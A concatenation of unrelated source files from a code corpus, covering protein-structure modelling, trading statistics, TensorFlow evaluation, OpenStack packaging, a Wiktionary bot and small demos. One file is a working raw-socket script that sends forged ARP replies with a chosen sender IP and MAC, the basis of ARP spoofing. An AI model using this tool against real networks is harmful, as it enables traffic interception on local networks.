residues\n # that aligns with the other chain. This is done because the\n # superposition needs to be done between two sequences with the\n # same number of atoms. If one residue is missmatched and we\n # take it, it will return an error.\n seq1pos = 0\n seq2pos = 0\n list_seq1pos = []\n list_seq2pos = []\n # For each position in the alignment (including gaps).\n for respos in range(0, len(sequence1)):\n # If neither of the sequences are gaps, they are\n # matching: store the positions where they match.\n if sequence1[respos] != \"-\" and sequence2[respos] != \"-\":\n list_seq1pos.append(seq1pos)\n list_seq2pos.append(seq2pos)\n # If sequence1 is not a gap, advance one position (this\n # way, third \"real\" aminoacid (not gap) will be third\n # position, fourth will be fourth...)\n if sequence1[respos] != \"-\":\n seq1pos += 1\n # The same as sequence1\n if sequence2[respos] != \"-\":\n seq2pos += 1\n # Store the information as an interaction\n interacting_structures.append([chain1[:-1], chain1, list_seq1pos,\n chain2[:-1], chain2, list_seq2pos])\n index += 1\n\n # If no interactions found, raise an error\n try:\n if len(interacting_structures)==0:\n raise not_interactions_found()\n except:\n print(not_interactions_found())\n sys.exit()\n\n return interacting_structures\n\n\ndef counting_interactions(interacting_structures, id_structure_dict):\n '''\n Counting the interactions each structure has with each other in order to\n take the most interacting structure as the template for the superimposition.\n '''\n count_interactions = {}\n for structure in id_structure_dict.keys():\n \tcount_interactions[structure] = 0\n \tfor interaction in interacting_structures:\n \t if structure in interaction:\n \t count_interactions[structure] += 1\n\n # Sort them by number of interactions\n sorted_count_interactions = sorted(count_interactions.items(),\n key=lambda x: x[1], reverse=True)\n\n return sorted_count_interactions\n\n\ndef preparing_randomization(args, id_structure_dict, sorted_count_interactions = False):\n '''\n This function creates a list of different seeds (numbers from 1 to 100000)\n based on an input seed given by the user (optional). This list will be used\n to randomize in each model created the order of the interactions added and,\n if -r specified, also the initial structure that will be taken for starting\n each new model.\n '''\n\n # Creating a list of random numbers (acting as seeds) based on the user\n # input seed. Each number will be used in each loop as a seed.\n number_of_models = int(args.models)\n random.seed(args.seed)\n list_of_seeds = random.sample(range(1,100000), number_of_models)\n\n # Put every structure in a list\n every_structure = []\n for structure in id_structure_dict.keys():\n every_structure.append(structure)\n\n # Create a list of the structures that will be used as initial structure in\n # the superimposition.\n starting_structure_id_list = []\n if args.random_seed:\n for model in range(0, number_of_models):\n random.seed(list_of_seeds[model])\n starting_structure_id_list.append(every_structure[random.randrange(0, len(every_structure))])\n else:\n for model in range(0, number_of_models):\n starting_structure_id_list.append(sorted_count_interactions[0][0])\n\n return(starting_structure_id_list, list_of_seeds)\n\n\ndef complex_builder(modeller, path, log, args, new_starting_structure, index,\n ID_subunit_dict, id_structure_dict, interacting_structures,\n pdb_list, list_of_seeds, recover_id_from_fasta,\n sto_dic=False):\n '''\n This function takes an initial structure (new_starting_structure) and keeps\n adding new chains based on the interactions found before, using the pairwise\n alignment. Identical chains are superimosed and the resulting structure\n is checked for clashes between atoms. Chain names are changed\n for them to be unique.\n '''\n\n print(\"Building model nº\" + str(index + 1))\n # We get the starting structure from the id_structure_dict\n starting_structure_id = [new_starting_structure]\n starting_structure = id_structure_dict[new_starting_structure]\n\n # We make a copy of the list of interacting structures to reset it every\n # time the loop starts (as we will remove interactions).\n interacting_structures_loop = copy.deepcopy(interacting_structures)\n\n # A seed from the list of seeds is used for shuffling the interactions.\n random.seed(list_of_seeds[index])\n random.shuffle(interacting_structures_loop)\n\n number_residues = 0\n if args.sto:\n # Initialize the model with the specific stoichiometry\n sto_structure = Bio.PDB.Model.Model('sto_model')\n # If the user wants to insert a stoichiometry, in sto_dic the subunits\n # are stored as keys and the values are the maximum number of times\n # that the subunits will appear\n sto_dic_loop = copy.copy(sto_dic)\n\n # Initialize the model object\n structure = Bio.PDB.Model.Model('model')\n n_chain_name = 0\n n_chain_name_sto = 0\n added_chains = []\n # We put inside the model the two first chains: the ones of the first interacting structure\n for chain in starting_structure:\n # We create a new chain object with the residues of the selected chain\n # and we give it a new ID\n id_select = \"ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz\"\n id = id_select[n_chain_name:n_chain_name+1]\n n_chain_name += 1\n added_chain = Bio.PDB.Chain.Chain(id)\n added_chain.child_list=list(chain.get_residues())\n ID_subunit = recover_id_from_fasta[chain.id]\n structure.add(added_chain)\n\n # If stoichiometry is selected, the subunits are added to the model the\n # maximum number of times the user selects.\n if args.sto:\n # If the subunit is selected by the user with -sto or -stoinfo\n if ID_subunit in sto_dic_loop:\n # If there are still subunits to add of the specific stoichiometry\n if sto_dic_loop[ID_subunit] > 0:\n id_sto = id_select[n_chain_name_sto:n_chain_name_sto+1]\n n_chain_name_sto += 1\n added_chain_sto = Bio.PDB.Chain.Chain(id_sto)\n added_chain_sto.child_list = list(chain.get_residues())\n sto_structure.add(added_chain_sto)\n print(\"Subunit {} added\".format(ID_subunit))\n sto_dic_loop[ID_subunit] -= 1\n added_chains.append(ID_subunit)\n else:\n print(\"Subunit {} added\".format(ID_subunit))\n added_chains.append(ID_subunit)\n\n # Everytime an interaction is done and a chain is added (or not accomplished)\n # this loops, starting again looking in all remaining interactions.\n for interaction_found in range(0, len(pdb_list)):\n if interaction_found != 0 and not found:\n # Exit the main loop if no more interactions are found.\n break\n\n # Loop through every interaction stored\n for interaction in interacting_structures_loop:\n # Atoms that will be fixed in the superimposition\n fixed_atoms = []\n # Atoms that will move and rotate in the superimposition\n moving_atoms = []\n found = 0\n # If the first member of the interaction == the starting structure...\n if interaction[0] in starting_structure_id:\n fixed_chain = ID_subunit_dict[interaction[1]] # Chain that remains fixed\n fixed_residues_position = interaction[2] # Which residues of the chain are the ones that aligned\n moving_chain = ID_subunit_dict[interaction[4]] # Chain that is rotating\n moving_residues_position = interaction[5] # Which residues of the chain are the ones that aligned\n moving_structure = copy.deepcopy(id_structure_dict[interaction[3]]) # Copy of the moving structure (we make a copy to eliminate the chain that is superimposed (duplicated))\n moving_structure_id = interaction[3] # ID of the moving structure (to add it to the starting_structure_id list)\n found = 1 # An interaction was found\n # Else, if the second member of the interaction == the starting_structure structure...\n elif interaction[3] in starting_structure_id:\n fixed_chain = ID_subunit_dict[interaction[4]]\n fixed_residues_position = interaction[5]\n moving_chain = ID_subunit_dict[interaction[1]]\n moving_residues_position = interaction[2]\n moving_structure = copy.deepcopy(id_structure_dict[interaction[0]])\n moving_structure_id = interaction[0]\n found = 1\n\n if found:\n # We are going to store the atoms that aligned to make the\n # superposition.\n for pos, fixed_residue in enumerate(fixed_chain.get_residues()):\n # If the aminoacid in that position did align, then store it\n if pos in fixed_residues_position:\n for atom in fixed_residue.get_atom():\n # We store the alpha-carbon for aminoacids or\n # phosphorus for DNA/RNA.\n if atom.get_id() == \"CA\" or atom.get_id() == \"P\":\n fixed_atoms.append(atom)\n for pos, moving_residue in enumerate(moving_chain.get_residues()):\n if pos in moving_residues_position:\n for atom in moving_residue.get_atom():\n if atom.get_id() == \"CA\" or atom.get_id() == \"P\":\n moving_atoms.append(atom)\n\n # Delete the chain that is being superimposed, as it is\n # duplicated (atoms are already stored).\n moving_structure.detach_child(moving_chain.id)\n\n super_imposer = Bio.PDB.Superimposer()\n\n # Make a rotation matrix of moving atoms over the fixed atoms\n # to minimize RMSE.\n super_imposer.set_atoms(fixed_atoms, moving_atoms)\n # Apply this rotation to the moving structure (there is only one\n # chain left, the not duplicated one).\n super_imposer.apply(moving_structure)\n\n # Now we will see if the superimposed structure will clash with\n # the starting structure.\n # We take the position of the starting structure atoms.\n neighbor = Bio.PDB.NeighborSearch(list(structure.get_atoms()))\n clashes = 0\n # For each atom in the moving structure we check if there are\n # close atoms to the starting structure.\n for atom in moving_structure.get_atoms():\n close_atoms = neighbor.search(atom.get_coord(), float(args.clash_dist))\n # If there are atoms within that distance, consider a clash.\n if len(close_atoms) > 0:\n clashes += 1\n # If we get more than 5 clashes, we consider its a clash and\n # continue to the next loop, aborting the superimposition of\n # the structure.\n if clashes > 5:\n #print(\"Clash!\")\n found = 0\n continue\n\n # If its not a clash, we get the remaining chain in the moving\n # structure and store it.\n for chain in moving_structure.get_chains():\n # We loop through the alphabet looking for a not used letter\n # for the new chain.\n id = id_select[n_chain_name:n_chain_name + 1]\n n_chain_name += 1\n # A new chain object is created and the residues of the\n # moving chain are copied to it.\n added_chain = Bio.PDB.Chain.Chain(id)\n added_chain.child_list = list(chain.get_residues())\n # Here we get the ID of the subunit that has been added.\n ID_subunit = recover_id_from_fasta[chain.id]\n # Then, we store the ID of the added structure to look for\n # the next interactions to superimpose.\n starting_structure_id.append(moving_structure_id)\n\n # If stoichiometry is selected, the subunits are added to the\n # model the maximum number of times the user selects.\n if args.sto:\n # If the subunit is selected by the user with -sto or -stoinfo.\n if ID_subunit in sto_dic_loop:\n # If there are still subunits to add of the specific stoichiometry.\n if sto_dic_loop[ID_subunit] > 0:\n id_sto = id_select[n_chain_name_sto:n_chain_name_sto + 1]\n n_chain_name_sto += 1\n added_chain_sto = Bio.PDB.Chain.Chain(id_sto)\n added_chain_sto.child_list = list(chain.get_residues())\n added_chains.append(ID_subunit)\n sto_structure.add(added_chain_sto)\n # The dict containg the stoichiometry changes.\n sto_dic_loop[ID_subunit] -= 1\n print(\"Subunit {} added\".format(ID_subunit))\n else:\n # The info of the added subunit is stored.\n added_chains.append(ID_subunit)\n print(\"Subunit {} added\".format(ID_subunit))\n\n # We add the new chain to the existing structure.\n structure.add(added_chain)\n interacting_structures_loop.remove(interaction)\n\n # We remove every interaction which subunits has already been added.\n for interaction_to_remove in interacting_structures_loop:\n if interaction_to_remove[0] in starting_structure_id and \\\n interaction_to_remove[3] in starting_structure_id:\n interacting_structures_loop.remove(interaction_to_remove)\n\n # We exit the loop, to start over again looking from the first\n # interaction now that the structure is bigger.\n break\n\n # If a specific stoichiometry is selected, store the specific model.\n if args.sto:\n store_results(modeller, path, log, args, structure, index, added_chains,\n sto_structure)\n else:\n store_results(modeller, path, log, args, structure, index, added_chains)\n\n\ndef store_results(modeller, path, log, args, structure, index, added_chains,\n sto_structure = False):\n '''\n This functions saves a PDB with the model created and, if specified, it\n optimizes the model with Modeller and saves a PDB with the optimized version.\n '''\n # Store the result.\n io = Bio.PDB.PDBIO()\n if args.sto:\n try:\n # Check if it is empty or not.\n if sto_structure:\n io.set_structure(sto_structure)\n # If it is empty an error appears.\n else:\n raise not_chains_added()\n except:\n print(not_chains_added())\n sys.exit()\n else:\n io.set_structure(structure)\n\n output_path = path + \"/\" + args.output + \"_\" + str(index + 1) + \".pdb\"\n io.save(output_path)\n\n # Here we get the chains that have been added to the model to store later\n # the info.\n repeated = []\n added = ''\n added_chains = sorted(added_chains)\n for chain in added_chains:\n if chain not in repeated:\n added += chain + ':' + str(added_chains.count(chain)) + ','\n repeated.append(chain)\n\n # Optimization with modeller.\n # The info of the experiment is stored in the log file.\n output_filename = output_path.split('/')[-1]\n if modeller == True:\n from prediprot.imports.prediprot_optimize import Optimizemodel\n if args.optimize:\n init_energy, opt_energy = Optimizemodel(output_path, True)\n print(\"{:<35}\\t{:>20.3f}\\t{:<}\".format(output_filename,float(init_energy),str(added[:-1])),\n file = log)\n print(\"{:<35}\\t{:>20.3f}\\t{:<}\".format(output_filename[:-4]+'_optimized.pdb',float(opt_energy),str(added[:-1])),\n file = log)\n else:\n init_energy = Optimizemodel(output_path, False)\n print(\"{:<35}\\t{:>20.3f}\\t{:<}\".format(output_filename,float(init_energy),str(added[:-1])),\n file = log)\n else:\n print(\"{:<35}\\t{:<}\".format(output_filename,str(added[:-1])),\n file = log)\n print(\"Model nº\" + str(index+1) + \" completed\")\n","sub_path":"prediprot_1.0.16_pip_version/prediprot/imports/prediprot_functions.py","file_name":"prediprot_functions.py","file_ext":"py","file_size_in_byte":28696,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"437606987","text":"import pandas as pd\nimport matplotlib.pyplot as plt\nfrom tools.data_concat_files import *\n\ndata0 = get_short_data()\ndata0.drop(['Success','FDAX_MOVE','Profit'],axis=1,inplace = True)\ndata1 = get_short_data_fdax_shifted()\ndata = pd.concat([data0,data1], axis=1, sort=False)\n\nprint(data.head())\nprint(\"\")\ncount0 = len(data)\n# print(\"Total row count : \" + str(count0))\n\nwinning_trade_count = data[\"Success\"].sum()\nlosing_trades_count = len(data) - winning_trade_count\nnatural_balance = winning_trade_count - losing_trades_count\nnatural_ratio = round((winning_trade_count/count0),3)\ntotal_profit = data[\"Profit\"].sum()\n\nprint(\"Total winning trades : \"+str(winning_trade_count))\nprint(\"Natural balance : \"+str(natural_balance))\nprint(\"Natural ratio : \"+str(natural_ratio))\nprint(\"Natural profit : \"+str(total_profit))\nprint(\"\")\n\n\n#Favorable for a positive outcome\n\n# data=data[(data['ES_POST_MOVE'] > data['ES_POST_MOVE'].mean()) ]\n\ndata=data[(data['ES_POST_MOVE'] > data['ES_POST_MOVE'].mean()) ]\nprint(data['ES_POST_MOVE'].mean())\n# data=data[(data['FDAX_MOVE'] > data['FDAX_MOVE'].mean()) ]\n\n# data=data[(data[data.columns.values[0]]> data[data.columns.values[0]].mean()) ]\n# data=data[(data[data.columns.values[2]]> data[data.columns.values[1]]) ]\n\ntotal_profit = data[\"Profit\"].sum()\nprint(\"Fav profit : \"+str(total_profit))\n\ncount1 = len(data)\nprint(\"Total suspected favorable : \" + str(count1))\ndata=data[data['Success'] > 0]\ncount2 = len(data)\nprint(\"Total favorable and profitable : \" + str(count2))\nratio = round((count2/count1),3)\nprint(\"Ratio : \" + str(ratio))\n\n\n# profitable = data[data['Profit'] > 0].count()\n\n\n\n\n# mean_fdax_change = data_es['ES_POST_MOVE'].mean()\n# print(mean_fdax_change)\n#\n# d_positive = data[(data['ES_POST_MOVE'] > 0) & (data['FDAX_MOVE'] > 0)].count()\n# print(d_positive)\n#\n# d_positive = data[data['ES_POST_MOVE'] > 0].count()\n# print(d_positive)\n#\n# d_positive = data[data['FDAX_MOVE'] > 0].count()\n# print(d_positive)\n\ny = data['Success']\nplt.plot(data[data.columns.values[0]], y, 'ro', color='r')\nplt.plot(data[data.columns.values[1]], y, 'ro', color='y')\n# plt.show()\n\n\n# y = data[\"Success\"]\n# X = data.drop(\"Success\", axis=1)\n\n# data.plot()\n\n\n\n# pd.plotting.scatter_matrix(data, alpha=0.2,c='red', hist_kwds={'color':['burlywood']})\n# pd.plotting.scatter_matrix(data[data.columns[-3:]], alpha=0.2,c='red', hist_kwds={'color':['burlywood']})\n# plt.show()\n\n# print(data.corr(method='spearman', min_periods=1))","sub_path":"tools/insights/shorts_stats.py","file_name":"shorts_stats.py","file_ext":"py","file_size_in_byte":2446,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"651805264","text":"# !/usr/bin/env python3\n\nimport tensorflow as tf\nimport numpy as np\n\nimport os\nimport sys\n\nsys.path.append('./ref/bert/')\nsys.path.append('./')\n\nfrom model import *\nfrom data import *\n\ndef get_session(sess):\n session = sess\n while type(session).__name__ != 'Session':\n # pylint: disable=W0212\n session = session._sess\n return session\n\ndef eval():\n opts = parse_args()\n extractor = GossipCommentNumberExtractor()\n vocab = vocab_160k.Vocabulary('./corpus/w2v/v160k_big_string.txt')\n ds = GossipCommentNumberDataset('./dataset/use_data/*_test.txt',\n vocab, extractor,\n test=True)\n opts.vocab_size=vocab.size\n # wordsEmbeddings = tf.Variable(vocab.emb, dtype=tf.float32)\n # ds = ResumeSummaryDataset(filepattern, vocab, extractor)\n ckpt_dir = opts.ckpt_dir\n best_acc = 0\n preds_stat = np.array([], dtype=np.int32)\n gt_stat = np.array([], dtype=np.int32)\n loss_stat = np.array([], dtype=np.float32)\n with tf.Graph().as_default():\n with tf.device('/device:GPU:0'):\n wordsEmbeddings = tf.Variable(vocab.emb, dtype=tf.float32)\n global_step = tf.train.get_or_create_global_step()\n model = GossipCommentNumModel(wordsEmbeddings, opts, True,\n num_class=opts.num_class, global_step=global_step)\n loss_op = model.loss\n train_op = model.train_op\n saver = tf.train.Saver()\n X = ds.iter_batches(opts.batch_size,\n opts.max_tokens_per_sent)\n iter_num = 0\n with tf.train.MonitoredTrainingSession(checkpoint_dir=ckpt_dir,\n hooks=[tf.train.StopAtStepHook(last_step=opts.iter_num),\n tf.train.NanTensorHook(loss_op)],\n config=tf.ConfigProto(\n allow_soft_placement=True, log_device_placement=True)\n ) as sess:\n try:\n while not sess.should_stop():\n try:\n Y = next(X)\n # resume_tensor = tf.convert_to_tensor(Y[1], dtype=tf.int32)\n # summary_tensor = tf.convert_to_tensor(Y[0], dtype=tf.int32)\n loss_val, global_step_val, preds, acc_val = sess.run([\n loss_op, global_step, model.preds, model.acc\n ],\n feed_dict={model.title_tokens: Y[0], model.scores: Y[2], model.lr: opts.lr})\n preds_stat = np.concatenate((preds_stat, preds))\n gt_stat = np.concatenate((gt_stat, Y[2]))\n loss_stat = np.append(loss_stat, loss_val)\n # print\n except:\n acc = np.sum(np.equal(preds_stat, gt_stat)) / preds_stat.size\n loss = np.sum(loss_stat) / loss_stat.size\n print('[{}]\\tloss:{}\\tacc:{:.4f}'.format(iter_num, loss, acc))\n print('pred label 1 number is: {}'.format(np.sum(np.equal(preds_stat, 1))))\n print('pred label 0 number is: {}'.format(np.sum(np.equal(preds_stat, 0))))\n print('gt label 1 number is: {}'.format(np.sum(np.equal(gt_stat, 1))))\n print('gt label 0 number is: {}'.format(np.sum(np.equal(gt_stat, 0))))\n break\n except Exception as e:\n print(e)\n # saver.save(get_session(sess), os.path.join(ckpt_dir, 'final_model'))\n\nif __name__ == '__main__':\n eval()","sub_path":"GossipHotAnalysis/eval.py","file_name":"eval.py","file_ext":"py","file_size_in_byte":3946,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"53017691","text":"# Copyright 2012 OpenStack LLC.\n# All Rights Reserved\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n# not use this file except in compliance with the License. You may obtain\n# a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n# License for the specific language governing permissions and limitations\n# under the License.\n#\n# vim: tabstop=4 shiftwidth=4 softtabstop=4\n\nimport os\n\nimport setuptools\n\nfrom openstackclient.openstack.common.setup import generate_authors\nfrom openstackclient.openstack.common.setup import parse_requirements\nfrom openstackclient.openstack.common.setup import parse_dependency_links\nfrom openstackclient.openstack.common.setup import write_git_changelog\n\n\nrequires = parse_requirements()\ndependency_links = parse_dependency_links()\nwrite_git_changelog()\ngenerate_authors()\n\n\ndef read(fname):\n return open(os.path.join(os.path.dirname(__file__), fname)).read()\n\nsetuptools.setup(\n name=\"python-openstackclient\",\n version=\"0.1\",\n description=\"OpenStack command-line client\",\n long_description=read('README.rst'),\n url='https://github.com/openstack/python-openstackclient',\n license=\"Apache License, Version 2.0\",\n author='OpenStack Client Contributors',\n author_email='openstackclient@example.com',\n packages=setuptools.find_packages(exclude=['tests', 'tests.*']),\n classifiers=[\n 'Development Status :: 2 - Pre-Alpha',\n 'Environment :: Console',\n 'Intended Audience :: Developers',\n 'Intended Audience :: Information Technology',\n 'License :: OSI Approved :: Apache Software License',\n 'Operating System :: OS Independent',\n 'Programming Language :: Python',\n ],\n install_requires=requires,\n dependency_links=dependency_links,\n test_suite=\"nose.collector\",\n entry_points={\n 'console_scripts': ['openstack=openstackclient.shell:main'],\n 'openstack.cli': [\n 'list_server=openstackclient.compute.v2.server:List_Server',\n 'show_server=openstackclient.compute.v2.server:Show_Server',\n 'create_service=' +\n 'openstackclient.identity.v2_0.service:Create_Service',\n 'list_service=openstackclient.identity.v2_0.service:List_Service',\n 'show_service=openstackclient.identity.v2_0.service:Show_Service',\n 'create_tenant=' +\n 'openstackclient.identity.v2_0.tenant:Create_Tenant',\n 'delete_tenant=' +\n 'openstackclient.identity.v2_0.tenant:Delete_Tenant',\n 'list_tenant=openstackclient.identity.v2_0.tenant:List_Tenant',\n 'show_tenant=openstackclient.identity.v2_0.tenant:Show_Tenant',\n 'set_tenant=openstackclient.identity.v2_0.tenant:Set_Tenant',\n ]\n }\n)\n","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":3046,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"50642262","text":"#!/usr/bin/env python\n\n# region Import\nfrom sys import path\nfrom os.path import dirname, abspath\nproject_root_path = dirname(dirname(abspath(__file__)))\nutils_path = project_root_path + \"/Utils/\"\npath.append(utils_path)\n\nfrom base import Base\nfrom network import Ethernet_raw, ARP_raw\nfrom argparse import ArgumentParser\nfrom time import sleep\nfrom socket import socket, AF_PACKET, SOCK_RAW\nfrom ipaddress import IPv4Address\n# endregion\n\n# region Check user, platform and print banner\nBase = Base()\nBase.check_platform()\nBase.check_user()\nBase.print_banner()\n# endregion\n\n# region Parse script arguments\nparser = ArgumentParser(description='ARP reply sender')\n\nparser.add_argument('-i', '--interface', type=str, help='Set interface name for send reply packets')\nparser.add_argument('-c', '--count', type=int, help='Set count of ARP replies', default=None)\nparser.add_argument('-d', '--delay', type=float, help='Set delay between packets (default: 0.5)', default=0.5)\n\nparser.add_argument('-t', '--target_mac', type=str, help='Set target client mac address')\nparser.add_argument('-T', '--target_ip', type=str, required=True, help='Set target client ip address (required)')\nparser.add_argument('-s', '--sender_mac', type=str, help='Set sender mac address, if not set use random mac')\nparser.add_argument('-S', '--sender_ip', type=str, required=True, help='Set sender IP address (required)')\n\nargs = parser.parse_args()\n# endregion\n\n# region Set global variables\ncurrent_network_interface = None\nsender_mac_address = None\ntarget_mac_address = None\n\neth = Ethernet_raw()\narp = ARP_raw()\n# endregion\n\n# region Get your network settings\nif args.interface is None:\n Base.print_warning(\"Please set a network interface for send ARP reply packets ...\")\ncurrent_network_interface = Base.netiface_selection(args.interface)\n\nyour_mac_address = Base.get_netiface_mac_address(current_network_interface)\nif your_mac_address is None:\n Base.print_error(\"Network interface: \", current_network_interface, \" do not have MAC address!\")\n exit(1)\n# endregion\n\n# region Set target and sender MAC address\nif args.target_mac is None:\n target_mac_address = Base.get_mac(current_network_interface, args.target_ip)\nelse:\n target_mac_address = args.target_mac\n\nif args.sender_mac is None:\n sender_mac_address = your_mac_address\nelse:\n sender_mac_address = args.sender_mac\n# endregion\n\n# region Validate target and sender IP address\nfirst_ip_address = str(IPv4Address(unicode(Base.get_netiface_first_ip(current_network_interface))) - 1)\nlast_ip_address = str(IPv4Address(unicode(Base.get_netiface_last_ip(current_network_interface))) + 1)\n\nif not Base.ip_address_in_range(args.target_ip, first_ip_address, last_ip_address):\n Base.print_error(\"Bad value `-T, --target_ip`: \", args.target_ip,\n \"; Target IP address must be in range: \", first_ip_address + \" - \" + last_ip_address)\n exit(1)\n\nif not Base.ip_address_in_range(args.sender_ip, first_ip_address, last_ip_address):\n Base.print_error(\"Bad value `-S, --sender_ip`: \", args.target_ip,\n \"; Sender IP address must be in range: \", first_ip_address + \" - \" + last_ip_address)\n exit(1)\n# endregion\n\n\n# region Main function\nif __name__ == \"__main__\":\n\n # region Create Raw socket\n SOCK = socket(AF_PACKET, SOCK_RAW)\n SOCK.bind((current_network_interface, 0))\n # endregion\n\n # region Send ARP reply packets\n try:\n\n # region Make ARP reply packet\n arp_reply_packet = arp.make_response(ethernet_src_mac=sender_mac_address,\n ethernet_dst_mac=target_mac_address,\n sender_mac=sender_mac_address,\n sender_ip=args.sender_ip,\n target_mac=target_mac_address,\n target_ip=args.target_ip)\n # endregion\n\n # region Set count of packets\n if args.count is None:\n count_of_packets = 1000000000\n else:\n count_of_packets = int(args.count)\n # endregion\n\n # region General output\n Base.print_info(\"Network interface: \", current_network_interface)\n Base.print_info(\"Target mac address: \", target_mac_address)\n Base.print_info(\"Target IP address: \", args.target_ip)\n Base.print_info(\"Sender mac address: \", sender_mac_address)\n Base.print_info(\"Sender IP address: \", args.sender_ip)\n Base.print_info(\"Count of packets: \", str(count_of_packets))\n Base.print_info(\"Delay between packets: \", str(args.delay))\n # endregion\n\n # region Sending ARP reply packets\n Base.print_info(\"Sending ARP reply packets ...\")\n for _ in range(count_of_packets):\n SOCK.send(arp_reply_packet)\n sleep(float(args.delay))\n # endregion\n\n # region Close socket end exit\n SOCK.close()\n Base.print_info(\"All ARP reply packets have been sent.\")\n exit(0)\n # endregion\n\n except KeyboardInterrupt:\n\n # region Close socket end exit\n if SOCK is not None:\n SOCK.close()\n Base.print_info(\"Exit\")\n exit(0)\n # endregion\n\n # endregion\n\n# endregion\n","sub_path":"Senders/send_arp_packets.py","file_name":"send_arp_packets.py","file_ext":"py","file_size_in_byte":5281,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"211779216","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\nimport pywikibot, re, sys, argparse\n\nimport blib\nfrom blib import getparam, rmparam, msg, site, tname, pname\n\ndef process_page(page, index, parsed):\n pagetitle = str(page.title())\n global args\n def pagemsg(txt):\n msg(\"Page %s %s: %s\" % (index, pagetitle, txt))\n def expand_text(tempcall):\n return blib.expand_text(tempcall, pagetitle, pagemsg, args.verbose)\n\n notes = []\n pagemsg(\"Processing\")\n\n for t in parsed.filter_templates():\n origt = str(t)\n tn = tname(t)\n if tn == \"head\" and getparam(t, \"1\") == \"be\" and getparam(t, \"2\") == \"verb\":\n head = getparam(t, \"head\") or pagetitle\n tr = getparam(t, \"tr\")\n aspect = getparam(t, \"3\")\n if aspect == \"imperfective\":\n aspect = \"impf\"\n elif aspect == \"perfective\":\n aspect = \"pf\"\n else:\n pagemsg(\"WARNING: Unrecognized aspect %s: %s\" % (aspect, origt))\n continue\n if getparam(t, \"4\"):\n pagemsg(\"WARNING: Unrecognized value in 4=: %s\" % origt)\n continue\n p5 = getparam(t, \"5\")\n if p5 and p5 not in [\"imperfective\", \"perfective\"]:\n pagemsg(\"WARNING: Unrecognized value in 5=: %s\" % origt)\n continue\n other_aspect = None\n if p5 == \"imperfective\":\n other_aspect = \"impf\"\n elif p5 == \"perfective\":\n other_aspect = \"pf\"\n if p5:\n other_verb = getparam(t, \"6\")\n\n must_continue = False\n for param in t.params:\n pn = pname(param)\n if pn not in [\"1\", \"2\", \"3\", \"4\", \"5\", \"6\", \"head\", \"tr\",\n # params to ignore\n \"sc\"]:\n pagemsg(\"WARNING: Unrecognized param %s=%s, skipping: %s\" %\n (pn, str(param.value), origt))\n must_continue = True\n break\n if must_continue:\n continue\n\n del t.params[:]\n blib.set_template_name(t, \"be-verb\")\n t.add(\"1\", head)\n if tr:\n t.add(\"tr\", tr)\n t.add(\"2\", aspect)\n if other_aspect:\n t.add(other_aspect, other_verb)\n pagemsg(\"Replaced %s with %s\" % (origt, str(t)))\n notes.append(\"convert {{head|be|verb}} to {{be-verb}}\")\n return str(parsed), notes\n\nparser = blib.create_argparser(\"Convert {{head|be|verb}} to {{be-verb}}\", include_pagefile=True)\nargs = parser.parse_args()\nstart, end = blib.parse_start_end(args.start, args.end)\n\nblib.do_pagefile_cats_refs(args, start, end, process_page,\n default_cats=[\"Belarusian verbs\"], edit=True)\n","sub_path":"templatize_be_verb.py","file_name":"templatize_be_verb.py","file_ext":"py","file_size_in_byte":2463,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"567003500","text":"from tkinter import *\r\nfrom tkinter import messagebox\r\ntop=Tk()\r\ntop.geometry()\r\ndef fun():\r\n\r\n a = 10\r\n b = 12\r\n c = a + b\r\n messagebox.showinfo('Addition is', c)\r\n\r\n\r\n\r\nb=Button(top,text='Addition',command=fun,activeforeground='red',activebackground='pink',pady=5,bg='red',height='1',width=6)\r\nb.pack(side=RIGHT)\r\ntop.mainloop()\r\n","sub_path":"button widget.py","file_name":"button widget.py","file_ext":"py","file_size_in_byte":344,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"500751761","text":"import logging\nimport json\nfrom flask import request, jsonify\nfrom codeitsuisse import app\n\nlogger = logging.getLogger(__name__)\n\n@app.route('/salad-spree', methods=['POST'])\ndef find_lowest_cost():\n map = request.get_json()\n maps = map.get(\"salad_prices_street_map\")\n n = map.get(\"number_of_salads\")\n possible_stores =[]\n possible_cost = []\n for street in maps:\n ls_nox = ' '.join(street).split('X')\n for part in ls_nox:\n part = part.strip()\n if part =='':\n continue\n str_digits = part.split(' ')\n for i in range(len(str_digits)):\n str_digits[i] = int(str_digits[i]) \n \n if len(str_digits)>=n:\n for index in range(len(str_digits) - n+1):\n possible_stores.append(str_digits[index:index+n])\n possible_cost.append(sum(str_digits[index:index+n]))\n if len(possible_cost) == 0:\n ans = 0\n else:\n ans = min(possible_cost)\n\n return json.dumps({\"result\": ans })","sub_path":"codeitsuisse/routes/salad.py","file_name":"salad.py","file_ext":"py","file_size_in_byte":1056,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"554241299","text":"import socket\nfrom _thread import *\nimport threading\nimport time\n\nclass ClientThread(threading.Thread):\n def __init__(self,clientAdress,clientSocket):\n threading.Thread.__init__(self)\n self.csocket = clientSocket\n print ('New Connection added: ', clientAddress)\n def run(self):\n print('connection from: ',clientAddress)\n self.csocket.send(bytes(\"hi this is from server..\",'utf-8'))\n msg=''\n while True:\n data = self.csocket.recv(2048)\n msg=data.decode()\n if msg=='bye':\n break\n time.sleep(2)\n print('from client',msg)\n self.csocket.send(bytes(msg,'utf-8'))\n print('client at ',clientAddress,' diconnected...')\n\n\nlocalhost = '0.0.0.0'\nport =8080\nserver = 